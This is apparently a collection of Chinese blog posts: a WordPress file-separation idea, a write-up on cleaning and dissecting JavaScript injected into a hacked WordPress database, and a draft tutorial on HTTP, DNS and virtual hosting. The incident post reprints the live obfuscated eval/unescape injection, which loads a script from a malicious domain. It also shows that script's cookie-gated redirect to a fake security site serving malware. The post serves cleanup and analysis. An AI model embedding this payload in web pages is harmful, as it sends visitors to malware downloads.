wordpress文件附件转移到另外服务器上实现性能提升/web与文件数据分离

在大型web架构里,通常会把web与文件分离在不同服务器上,以提升web系统的高效运行。
而wordpress,本身好像没有这方面的考虑,所以,但可以朝这方面努力,应该可以通过插件等机制实现。
以下是笔者刚想到的一个实现方案。
由于wordpress本身,添加文章后,其中引用文件都是以绝对链接的形式写在html里的,这点可以通过插件的形式,把其url域名替换成另一个域名。
另一个域名下并没有这些相应的文件,可以通过url重写将对不存在文件的请求重写的一个动态处理程序(一般都是php,当然也可以使用其它,如jsp等)上,该处理程序通过远程http请求(或使用ftp也可以)把源站点下的相应文件抓取,并存在在对应的位置上,路径结构与源站点完全一致。这样,就实现了两个站点,即源站点及文件镜像站点的数据同步。第一次请求(即上述的抓取过程),请求后,再通过web程序把抓取到的文件读取并输出给客户端,即要模拟对静态web请求的返回数据,让请求浏览器以感觉不到这其实是动态请求的文件。
这只是一个技术方案,目前并没有实施,如有兴趣,可以自行实施,或者与笔者联系。笔者也可能在尝试实施这一方案的实施。

---
这里是一个方案,基本上就是上文中“插件”实现的功能 http://tsov.net/separation-of-the-blog-and-accessories/
当然,下面的远程自动抓取并没有提到,更没有实现的了

-------------- 2011-03-20 ------------------
周末,写了一个简单的代码,可以实现上述抓取功能,代码参看附件。其实这个“抓取”功能,应该通过apache的代理功能就可以实现,ngix等web服务器好像也有(个人对IIS还是有一定了解,没有这种功能~~xx的MS),但没有研究过。在学习php,所以使用php写一个相应功能的程序。对于使用虚拟主机的web站点,可以尝试一下。

讲一下可能参考的使用实例:使用比较小的虚拟主机、或者主机商对流量限制比较严酷,买了godaddy域名,就可获赠一个很大的虚拟主机,只是有广告。而广告只会附加到在html文档里,而对于图片、flash、音频视频是不可能带广告的,所以就可以把这些附件文件的“迁移”到godaddy虚拟主机上。使用这个方法,实际上只需要把文章内容里的文件地址修改到godaddy虚拟主机上,就可以了,不需要手工转移,自动化进行,省力。

代码并不完善,也没有使用说明,需要手工配置里面的代码。有兴趣的同学,可以自己看代码,当然前提是要有点php编程基础。这个代码将来可能会再做修改,请持续关注此文。http://www.path8.net/tn/archives/4217

源程序:点此下载源程序prx
2011-03-20

小杯具了,wordpress居然被挂马了/清理过程兼木马解剖简记

今天真的载了,居然wordpress也被挂马了,太不可思议了。

事情如下:

晚上发篇文章,突然想到了一个对wordpress进行改进的方案,图片/附件与web分离,当然这个需求可能极少见,因为大多数wordpress都不会遇到这样的问题:空间不够用(直接升级主机了)、对附件的下载打开严重影响到web (如html,css,js)的访问速度。

但进入后台,看到快速发文章的内容框里很怪异,默认就有下面的一段文字,js代码,下面的最近草稿也显示有类似的js代码,心下不好,可能是被挂马了。不过还好,前几天为了试用新买vps性能,把整个wordpress数据库备份了一份,看来还真是所幸。

没有马上理会,记下wp改进方案,但没写几个字,感觉心里不舒服,wp的影响到底有多大,还并不知道。于是在wp后台里随便查看文章,连phpmyadmin查看数据库,初步的评估是,并不严重,只发现了在文章内容字段最后加入了下面的一段js代码,应该并没有数据丢失。这个问题,处理很容易,数据库update就可以了。在进行操作之前,备份整个数据库,保留原始“罪证”材料。于是执行如本文后面附的sql代码,问题得以解决,不想同一个数据库里放的另一个wp也同样的被挂马了,于是同样代码处理之。得解,mysql数据库的其它表,没有仔细检验,大致扫了一下,应该没有挂。明天周五,该周末了,周末再仔细检查一下。

被挂马,定是有漏洞,但漏洞在哪里还并不得而知。也要到周末再查了。

数据备份很重要,要启动自动备份机制,还是要购买并安装到vps上更合适。vps可以容易设置服务器上的定时任务。

写这篇文章时,才意识到怪不得今天访问量比前几天明显的低,被挂马也能也就是其中一个原因,估计还是重要原因。之前还以为可能的目的访客都关注“盐”的问题去了。
这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4201 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

清理木马的sql代码

update `pre_posts` set `post_content`=replace(`post_content`,'<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>','')

影响了 4045 行。 ( 查询花费 0.8925 秒 )

-----------------------------

UPDATE `pre2_posts` SET `post_content` = replace( `post_content` , '<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>', '' )

影响了 2174 行。 ( 查询花费 3.1435 秒 )

 

---------------------以下部分为2011-03-19补写,上面部分也有少量改动。---------------------

致歉:

因为笔者不慎,而导致本文中木马的存在,特向读者朋友们致歉,建议在2011-03-19 12:00 前读过本文、且使用windows操作系统的读者,全盘扫描病毒,以保障安全。
因为笔者主要使用fedora linux,在一定程度上,这也造成了没有及时发现这一问题。

再次杯具的发现:

本周六上午,看到wordpress里有条留言,"在浏览你:“小杯具了,wordpress居然被挂马了/清理过程简记”这个帖子的时候发现自动跳转到一个网页,下载了几个。EXE 用360扫描后发现报病毒,下面是下载信息: pcupdate107_2129.exe http://www1.firstok-security.rr.nu/retkko107_2129.php?xtev4=nNra76uj2eTZ29CRotz 不知道是我浏览器问题还是怎么回事,当时我用scientific 加 chrome",心下不好,当时好像是使用wordpress后台发文章时,好像是使用的html代码模式,而不是可视化编辑器模式,直接把js的木马帖进去,那岂不是自己给自己种了木马?! 马上查看文章,速度很慢;为了安全起见趁页面还没有打开,关闭了firefox的js(使用js switch插件实现)。果然,html源代码里那个木马静静的躺着,好像在呲牙咧嘴的嘲笑着我,马上把整个html剪切出来,稍作修饰,切换到可视化编辑器下贴进去。html里的<,>就被自动转义为&lt;与&gt;这样就不会被浏览器当作js代码执行了。——废话了——修改完毕后,对这只木马要解剖一下,这也是前天写篇文章时想做的,但因为已经是深夜12点多,而暂放下。

致谢:

——上面所说的留言由“标点sign555.blog.51cto.com/”所发,在这里深表由衷的感谢!!

木马解剖:

这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4201 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串,执行时要先unescape反转码,得到一个字符串,然后把该字符串当作一段代码eval执行。

新建一个.html文件,内容如下:

<script>document.write(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>
在chrome里查看,但得到提示消息:

看来chrome在安全方面做得确实不错,对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是,一段js,再从某个网站上下载木马(一般网页挂马都是这个模式),document.write 写到页面里的这段代码,还是可能被执行的,这不安全的,尽管我在linux下,要换一下输出方式。

使用alert提示框,这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的,这比windows下的alert消息框方便多了!代码如下

<script>alert(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

小心,这段也是木马
document.write('<script src="http://lessthenaminutehandle.com/js.php?kk=33"></script>');

看到了,反编码后的字串果然就是个document.write语句,往页面html文档里写入一段js,这段js就来自一个从外部站点上下来的文档,这里还是个动态文件,看来这个域名上有很多木马,以参数传递;或者后面的?kk=33只是用来统计来源的字串。

看看它是什么东西,要有点探索精神~~

这次就不能使用浏览器了,不安全,也不方便;那用什么呢?Linux终端命令行啊!wget 这不是最方便的工具吗?

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=33

[feng@fsc tmp]$ cat js.php\?kk\=33

function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
var ewefwe=new Date();
var vcwc = ewefwe.getDate()+ebtal;
ewefwe.setDate(vcwc);
var owc3te = ewefwe.toGMTString();
document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
return "";
}

if (wsdfsdd("eererfero")==""){
ssdfsc("eererfero","1",20);
var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

window.top.location.replace(derverv);
}

还要从别的站点上下载文件,不知道是什么,再来点探索精神,看看:

wget -O xxx.js http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D

以为又是个js,结果是个html文档,比较大,就不贴出来了,参看附件:

xxx.js.html.zip 木马文件,慎重下载

还有,前面的js请求传递的kk=33,分析一下这个站点上是不是多个木马,还仅仅是个统计用的参数

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=32
--2011-03-19 12:12:06--  http://lessthenaminutehandle.com/js.php?kk=32
正在解析主机 lessthenaminutehandle.com... 91.193.194.110
正在连接 lessthenaminutehandle.com|91.193.194.110|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:573 [text/html]
正在保存至: “js.php?kk=32”

100%[======================================>] 573         --.-K/s   in 0s      

2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32” [573/573])

[feng@fsc tmp]$ cat js.php\?kk\=32


function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
 var ewefwe=new Date();
 var vcwc = ewefwe.getDate()+ebtal;
 ewefwe.setDate(vcwc);
 var owc3te = ewefwe.toGMTString();
 document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
 if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
 return "";
}

if (wsdfsdd("eererfero")==""){
 ssdfsc("eererfero","1",20);
 var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

 window.top.location.replace(derverv);
}

好像一样,那基本上可以认定是个统计参数,马夫们也要来统计马都撒到哪里了,虽然这些马夫很可恶,没有一点黑客精神,就会拿黑客技术来搞破坏、谋私利!

貌似很复杂,都十二点半了,不看了,探索精神不能当饭吃,准备吃饭去。

突然联想到,这些所谓有黑客他,也会说一句类似的话:“黑客精神又不能当饭吃!” ——这个最让整个人类蛋疼的事情:“吃饭”

从地址栏输入到页面显示 -深入探究web运行机制(半草稿持续更新中)

服务器特点:的相对性

 

dns解析,tcp/ip网络,必须有ip地址才能数据传输

http封包

osi七层协议

 

定义

主机:连接在网络上,有通过网络进行数据收发的设备。对于web开发而言,主要关心指web服务器,数据库服务器,普通用户计算机,除此还有dns解析服务器,代理服务器,等其它类型。

互联网上主机,要想进行数据传输,就必需有传输目的主机的ip地址。如,普通用户计算机,对于web开发者而言,主要关心的是其浏览器,有时也称web客户端(在与web服务器相对而言时,也简称客户端)。本文在不引起误解的情况下,会混称以下概念:web浏览器,客户端,用户主机。

对于web开发者,在不引起误解时web服务器也经常简称服务器。

 

服务器(端)与客户端,及其特点

服务器(端)与客户端,是一对相对的概念。服务器是可以向其它主机提供一种网络服务的网络设备。繁体中文(台湾)中称伺服器,这个名称更能体现服务器的特点,即“伺”与“服”,即等待其它主机提出服务请求,并向其它主机提供响应。它永远都是被动的向请求方(客户端)提供响应,而不会主动提供服务。服务器提供的响应,一般是一个数据包,通过一定的网络协议把响应数据包发给请求方。(网络协议可以简单的理解为数据传输的格式或规则)。以数据传递的走向来看,客户端是主动方,它主动向服务器提出请求。而服务器则是被动方,只有在接受到客户端的请求时,才向客户端提供相应的响应数据。

服务器可以按所提供服务划分为多种类型,如数据库服务器,域名服务器,web服务器,缓存服务器等多种。

(注:以上从功能的角度对服务器与客户端的进行的解释,非物理实体角度的解释。)

从软件的角度看,一台物理上的服务器就是安装了某种网络服务软件的计算机。

一般情况下,一台物理服务器都提供单一的网络服务,以获得最佳的性能。当然在服务器主机性能有富余时、或降低成本时,也会安装把多个服务器软件安装在同一台物理服务器主机上。

 

Web服务器与浏览器

web服务器是提供web服务的服务器;而主动向web服务器发送请求的主机,即是web客户端。一般情况下,服务器都提供单一的网络服务,以获得最佳的性能,web服务器也是这样;而物理上的 web客户端,绝大多数情况就是我们平时使用的计算机,上面会安装多种软件,包括浏览器、下载工具、输入法程序、即时通讯工具等,浏览器只是其中之一,不过对于web开发者,我们主要关心的只是浏览器,所以在不死混淆时,我们会笼统地把用户端计算机、web客户端与浏览器等价看待。

 

 

Web服务器的主要功能解析

web服务器是安装了web服务软件的一台主机。上面最主要的软件就是web服务器软件,它接受http协议的请求,并返回相应的http响应数据给请求者。 目前最常用的是Apache HTTP Server (简称apache, httpd) internet information services(简称iis)ginxlighttpd

它主要有以下功能模块:http请求数据包分析器,响应数据生成器,响应数据包封装器。

http请求数据包分析器,是分析浏览器发送来的请求数据包,从中拆解出请求字段,并传递给响应数据生成器。拆解出的字段至少包括请求的主机域名,请求端口号,请求文件路径,请求字符串(GET请求字串)等等。

响应数据生成器,主要是根据请求中的字段,生成相应的响应数据。1. 对服务器上静态页面的请求,就直接把请求文件路径字段对应的文件读取出来,传递给响应数据包封装器。一般来说图片、静态html页面,css文件,javascript文件都是这样。 2. 而动态页面的请求,则需要调用安装在web服务器程序里的动态程序引擎,执行相应的web程序,才得到响应数据。web开发者开发程序主要打交道的主要就是这里所说的“动态程序引擎”,web开发者编写的程序正是由它执行的。每种动态程序,如php, jsp, python, asp(.net)等,都有其相应的引擎;其中asp的引擎比较特殊,它内置在iis里,以一个.dll的形式存在,与iis紧密联系。

响应数据包封装器,把动态或静态生成的响应数据,附带上必要的http头字段,构造成http响应数据包。

最终生成的响应包,递交给操作系统,由操作系统发送给客户端。

 

浏览器的主机功能

浏览器至少包含以下重要的功能模块:域名解析客户端,http请求封装器,http响应接收器,排版引擎,客户端脚本解析引擎,页面缓存系统,cookie处理模块,

域名解析客户端,互联网上的主机需要与任何主机进行数据传输,都需要知道对方的ip地址,使用网址访问服务器时,就必须查询到网址域名的ip地址,该项工作就是由域名解析客户端进行。工作过程大致如下:域名解析客户端向dns服务器(操作系统的网络配置里的dns配置)发起域名解析请求,请求包中包括待解析的域名,dns服务器通过一系列查询,得到域名对应的ip地址,返回给域名解析客户端。

http请求封装器根据请求域名的ip地址,请求域名、端口、文件路径、GET字串、POST数据、COOKIE、浏览器描述信息(user-agent, 是否接收zip压缩,保持连接等)等信息,封装成http请求数据包,提交给操作系统,发送给目标服务器。

http响应接收器,接收服务器的响应数据包。

排版引擎,根据html文档,css样式把页面内容显示在浏览器视图区域。

客户端脚本解析引擎,处理客户端动态脚本,主要是javascript,在IE系列浏览器里还有vbscript.

页面缓存系统,打开网页时,如果页面中的一幅图片是刚刚请求过的图片,就不必重新向服务器请求该图片,而是使用之前请求返回的图片文件,这样可以加快整个网页打开速度,还节约带宽。这就是页面缓存系统的功能。

cookie处理模块,cookie机制在浏览器上的实现。

特殊的浏览器:搜索引擎的蜘蛛,即网络爬虫,自动获取网页html代码,用于搜索引擎的索引系统。

 

浏览器几个特性

连接保持,缓存,排版引擎差异,

连接保持,浏览器与服务器进行数据传递(http请求与响应都是数据传递)前,需要建立数据连接,一般是tcp连接,而这一过程通常是个比较耗时的过程。为了减少整个数据传递的总耗时、从而加快页面打开速度,通常会开启“连接保持”的功能,即服务器与浏览器在首次建立tcp连接、并完成一个http数据传递后,并不把这个tcp连接断开,而是暂时保持一段时间(一般在2分钟左右),如果这一段时间内还需要进行数据传输,则直接使用这个tcp连接;这样就节省了建立连接的时间花费。

缓存,已经在上面讲述过(打开网页时,如果页面中的一幅图片是刚刚请求过的图片,就不必重新向服务器请求该图片,而是使用之前请求返回的图片文件,这样可以加快整个网页打开速度,还节约带宽)。缓存在动态文件上有可能造成一些问题,如有一个动态user.php,作用为显示当前用户的状态;当浏览器第一次打开该文件时,用户状态是未登录的,而用户登录后,该页面将显示用户信息;但如果浏览器使用缓存,则还显示未登录的信息。所以就需要在响应数据包的http头中加入一个字段: Cache-Control,标识是缓存有效期 ,用于告诉浏览器当前页面使用缓存方式。如果在http响应头里没有这个字段,浏览器就按其自身默认设置应用缓存,而不同的浏览器默认设置并不相同。正是因此,有时页面刚刚修改过,但某些浏览器显示的还是老内容,点浏览器的“刷新”也不行,只能关闭浏览器窗口,并清空缓存。强制浏览器不使用缓存还可以在每次请求的地址后面加入随机的GET字串,如user.php?a=25seg

排版引擎差异,同样的html,在不同浏览器里显示效果并不相同,如IEfirefoxchrome等浏览器之间,甚至IE的不同版本间都有很大差异。

 

 

 

web服务器是安装了web服务软件的一台主机,web开发者的计算机中一般都会安装上相应的web服务器端软件,常称为web server,如apache, iis 等,这台计算机也就是一台web服务器;同时,该主机上也有浏览器,因此,这台物理上的主机,既上服务器端也是客户端。

 

 

实例:简单模拟一个常规静态页面的打开。

服务器www.testsite.net上有这样一个简单网页(如图),其中包含一个html文档及一张引用图片

index.html

<html>

<head>测试网页</head>

<body>

<p>第一行文字</p>

<p>the 2nd line</p>

<img src=”img.jpg” alt=”just a test image” height=”50” width=”40” />

<p>本文档到此就结束了</p>

</body>

</html>

 

img.jpg

 

 

 

 

就这两个文件,放置在站点www.testsite.netweb根目录下,这样使用浏览器访问www.testsite.net/index.html就可以打开这个页面。这个过程至少包括以下几个重要的步骤:

  1. 域名解析。浏览器根据用户输入的网址,从中获取请求的主机名,www.testsite.net,通过域名解析获得该域名对应的ip地址192.168.10.166.
  1. 请求数据库的封装。浏览器根据用户请求,把多个信息封装成为http请求包,这个请求包里一般都包含以下几部分,请求的主机名,请求服务器上的文件路径,请求字符串,cookie,客户端(浏览器)的IP地址等(除此还有,客户端user-agent字符串,是否接受zip压缩等多个字段)
  2. 浏览器(客户端)提交给所在计算机操作系统,由操作系统把封装好的http请求数据包提交给目标主机,这里就是www.testsite.net所在的192.168.10.166. 提交完成后,浏览器一般会在状态栏里显示为“正在等待服务器响应”,并显示进度条表示等待服务器返回响应数据的过程。。
  3. 服务器接收到客户端的请求后,由操作系统把这个请求递交给web服务器(一般是apache, iis 等)。
  4. web服务器对这个请求包进行分析,然后交由www.testsite.net站点进行处理。
  5. web服务器到www.testsite.netweb根目录下寻找index.html,找到该文件后,把此文件的内容读取,然后按照http响应数据包的格式进行封装。其中包括http响应数据头,响应数据内容主体两大部分。响应头里包含了响应状态码,响应数据类型(这次为text/html),要求客户端设置cookie的信息等。
  6. 客户端从服务器响应数据包里,解析出响应数据的类型,为text/html,浏览器于是按照text/html的格式分析其内容,边分析边把页面内容按html格式显示在浏览器的页面里。(不同的排版引擎之间对html的解析稍有不同,所以同样的网页在不同浏览器下看到效果可能稍有不同)
  7. 浏览器解析index.html文件时,发现其中还有对图片img.jpg的引用,于是再发送一次http请求给服务器www.testsite.net,用于请求img.jpg文件。这一过程,如果发生在浏览器全部获取http响应数据之前,就可以解析出还需要其它文档,这里就开始对下一个页面元素的请求;而不是等浏览器还没有读取到完整的html文档后,这样无疑就加快了浏览器打开页面的速度。如果打开一个比较庞大的html文档时,这个影响就很可观了。
  8. 服务器对请求图片的http请求作出响应。这次响应的数据类型是image/jpeg.
  9. 浏览器得到服务器的响应,解析出图片,并把图片在index.html页面上绘制出来。

 

直观查看http数据包的传递,及http

工具:firefox(需要插件live http headers, firebug)

一般我们通过浏览器看到的内容,都是http数据主体的内容,而http头,我们一般是看不到的。因为浏览器向我们隐藏了这些细节,这些细节对于一般使用者是没有意义的。但对于web开发人员,还是十分有必要理解这些的。所以我们就需要借助一些工具达成目的。

可以查看http头的工具很多,包括本机网络数据抓包工具,浏览器插件等都是可行的,以浏览器插件最为简便实用。

 

 

域名与web服务器 /域名解析,域名绑定

域名解析,有时也会说dns解析。互联网上的数据传输依赖于IP地址,但日常使用的却是英文域名,所以首先要把域名解析为IP地址,这项工作是dns服务器进行。而前面说过,服务器的工作都是被动的,这个域名解析过程中的主动方就是需要把域名解析为ip地址的程序,在B/S架构里,就是浏览器(B,browser)

平时我们在浏览器地址栏里输入网站域名,就能打开其网页,看似域名与web服务器是同一套服务,但事实上完全不是这样。域名服务与web服务两人者是隔离的,要把这两者协同工作,我们至少需要完成两项工作:域名解析到web主机ip地址、web主机上设定该域名的站点。

以实际中的例子讲解。举个例子,我们注册了一个域名path8.net,注意,注册域名时,前面没有wwwwww其实是我们注册域下的一个子域名,子域名我们可以任意开设。不过习惯上,在web上,大家都把www的子域名作为主要域名;甚至有些人错误的认为域名前面都要带www,笔者就多次见过这样的情形。笔者参与维护的一个网站为客户开设了子域名服务,于是就有了zhangsan.xxx.yy, lisi.xxx.yy, wangwu.xx.yy等等这样的一系列子域名,但很多用户访问网站时,会输入www.zhangsan.xxx.yy这样的域名,就是在子域名前面再加上www. ,这当然是无效的子域名。然而我们无法给每个访客说明子域名与www的关系(我们无法控制用户的行为,只能适应用户,或者有意引导用户),所以使用了一个巧妙的方法,对于www.subdomain.xxx.yy的请求,在web程序里直接把前面的www.去掉,这样用户即使

多输www.也可以打开正确的页面。扯远了。

每一个子域名都是需要单独设置解析的,域名解析有多种形式,最常见的就是A记录,也就是直接把一个域名解析到一个ip地址上。除了A记录外,还有mx记录,cnametxt记录等。cname记录是把域名解析到另外一个域名上,也称为“别名”,这点非常有用。假设我有100个域名,我想把这100个域名全部指向到一台主机上,但这台主机的ip地址会定期改变。,这样的话,岂不是ip地址一变化,我就要设置100条域名解析信息吗?!如果有更多域名,可想而知是什么情况。借助cname就可以轻松实现这一点,我可以把其中100个域名“别名”。到一个域名(如alias.xxx.yy)上,然后再为这个域名alias.xxx.yy设置一条A记录到ip地址上;以后只需要修改alias.xxx.yyA记录就可以了。cname还经常在cdn加速服务器设置。mx记录是用于邮件系统的,txt一般用于防止“谎称域名而发送防垃圾邮件”的授权验证。如果你看过域名管理的控制面板,应该见过这些。

上面所说的A记录,mx记录,cnametxt记录,每设置一条都是一条解析。如果为path8.net设置 5A记录linux.path8.net, php.path8.net, mysql.path8.net, path8.net, 另有2cname记录,一条mx记录,那我们就一共需要设置5+2+1=8条解析记录。事实上,我们的域名注册(服务)商,一般不会允许我们设置无限多条解析记录的,限制通常是1020条,如果需要更多条解析,就需要另外购买了。当然我们可以自建dns服务器,用来解析我们的域名,而不再使用域名商的解析服务,这样我们就可以设置任意多条域名了。不过自建服务器费用昂贵,通常没有这个必要。

有人问了,如果我有100万个用户的博客站点,我想为他们每个人开设一个子域名,可以通过cname别名到一个域名上,对这个域名再设置A记录。这种情况下,我就需要100万还多的解析,不自建服务器怎么办呢? 我们的回答是,照样不需要,我们可以设置泛域名解析。泛域名解析就是把所有没有设置的子域名全部都指向一个ip地址S上。如上对path8.net 设置了4个子域名,再设置一个泛域名指向ip地址P上。这样linux.path8.net的解析当然还是ip地址S,而对windows.path8.net, mssql.path8.net, 将全部解析到ip地址P(如果没有设置泛域名解析,这几个子域名将全部解析失败)。当然,泛域名解析需要域名商的支持(多数域名商是支持的)。

对域名解析扯了很多,也不过是简单介绍,对站长入门有一参考价值,但于web开发人员来说,可能显得多余。不过,个人感觉,对web系统运行的背后的知识不了解,知识结构总是显得苍白无力。个人当初学习web开发时,就对这些东西很感好奇,但不知道去哪里学习(个人完全是靠自学计算机方面的东西,除思科ccna的培训之外,可以臭美一下~~)。

 

下面还要对web程序在服务器上的设置做一下简单介绍。这也是web开发的入门级人员有必要了解的。

 

web服务器,当下最常用的是Apache HTTP Server (简称apache, httpd) internet information services(简称iis)。这里不对它们的配置方法介绍,主要是讲web 服务器共同之处。

最初一台web服务器只能设置一个web站点(对应一个域名),也就是说,如果我要开设一个web站点,就要一台web服务器;每增加一个域名,就要新安装一台物理上的服务器,即使是一个访问量很小的站点也是一样——这早已是很古老的事情了——这里面就有一个无法发挥服务器性能及浪费的问题了。

聪明的人类发现问题后,总是会想解决方案的。虚拟主机的概念就此应运而生。它就是在一台物理的服务器、一套web服务器软件、一个ip地址、一个对外服务的端口上,同时运行多个web站点。在同一台服务器上运行多个web站点,从软件开发角度上讲,就是要用一种机制,把这多个站点区分开来。如果你对网络基础有所了解,这一点类似于:在同一个ip地址、一种协议上,可以使用“端口”对外建立多个数据连接。区分多个web站点的方式,就是“虚拟主机技术”,其实原理非常简单的,就是找区分标准。一台服务器同时运行多个站点,那么这些站点的域名是不同的,我们就可以根据这一点做文章了:如果我们开发一套web服务器软件,它根据客户端(浏览器)发来的http请求数据包里的“主机名”——就是请求网站的域名——的不同,向请求方返回相应站点的页面,这样不就可以解决问题了!

事实上虚拟主机就是这个原理,主流的web服务器软件都有这样功能,不需要我们做相应开发了。

早期的web服务都是静态文件,当时的web服务器主要就是为了共享一些文档而用的;动态web程序是后来才的有。web服务器上每个web站点都对应着一个目录,作用就是通过http协议共享这个目录里的文件。

那我们是否可以在web服务器上建立多个站点(每个站点对应一个域名),对多这个站点全部设置为同一个目录呢?答案是肯定的。但这并不是最简便的方式,可以只建立一个站点,而对这个站点绑定多个域名。

了解了以上这些,你可能已经想象到了:web服务器的多站点功能,其实是一个web服务器软件对http请求的分发,把不同的http请求分发给相应的web站点进行处理;而web站点都是对应着服务器上的一个目录。

上面我们对虚拟主机的讨论,是建立在一个假定的基础上:web服务器只有一个ip地址。那如果我们的web服务器有多个ip地址,是否是也可以就此区分多个站点呢?答案是肯定的。这也是虚拟主机的一种实现机制(同样是对http请求的分发机制),不过目前ipv4的地址很缺乏,都“告急”好些年了,尤其在中国,几乎大家都是在“凑合”着用,大多数公司的办公室都是用对外一个ip地址,通过nat在内部使用私网ip地址,甚至听说有些地方adsl拨号获得的ip地址都是私网ip地址了。又扯远了。总之,就是说ip地址是稀缺资源,“基于ip地址划的虚拟主机”代价太高,很少这么用。而“基于主机名划分的虚拟主机”是常用的,几乎所有的虚拟主机提供商都是采用这种技术。国外某些虚拟主机提供商还提供独立ip地址,他们是把这两人种虚拟主机技术结合实施的。

还说“基于主机名划分的虚拟主机”,我们要在一台服务器上设置多个虚拟主机,就要建立多个站点,给它们分别设置不同的域名(域名绑定)。

再回到我们前面讨论过的“为100万个用户分别设置子域名”的问题。这100万个子域名,是否都要逐个设置呢?先不说答案,我们自己从底层原理上分析一下先。

http请求分发的观点分析:web服务器接收到http请求后,从请求包里读出出所请求的域名,如果发现它是该服务器上绑定的域名,就把该请求分发给相应的web站点进行处理;但如果不在已绑定域名之列,那怎么办呢? 对这样的请求,要么正确响应,要么返回给请求浏览器一个错误消息。返回错误,很简单,就是”请求错误,域名未知”这样的错误消息,不知你是否注意过打开某些网址后显示Bad Request (Invalid Hostname) 样的消息时,这就是iis对这要错误返回的消息文本。而要向请求方发回正确的影响该怎么办呢,总得把这个请求交给一个站点处理才可以吧?是这样的,这个对非配置域名也能处理的站点,就是“默认站点”。

分析到这里,你是否已经想到这怎么解决对100万用户分别设置子域名的解决方案了,不错,就是借助web服务器软件的默认站点功能。

是否发现了,这里有一个问题,那就是一台服务器上只能配置一个默认站点,也就是这要的功能,在从虚拟主机商购买的虚拟主机上,是难于实现的(除非你在该虚拟主机上有独立ip地址,再加上虚拟主机商提允许你“配置该ip地址的默认站点”的功能)。想通过配置默认站点的方式给100万会员分别分配子域名,只能在独立主机上实现。

现在假定已经有独立服务器并配置好了默认站点,它被设置到了一个目录上,我们在web开发者的角度,分析一下怎么对不同的子域名返回不同的页面。

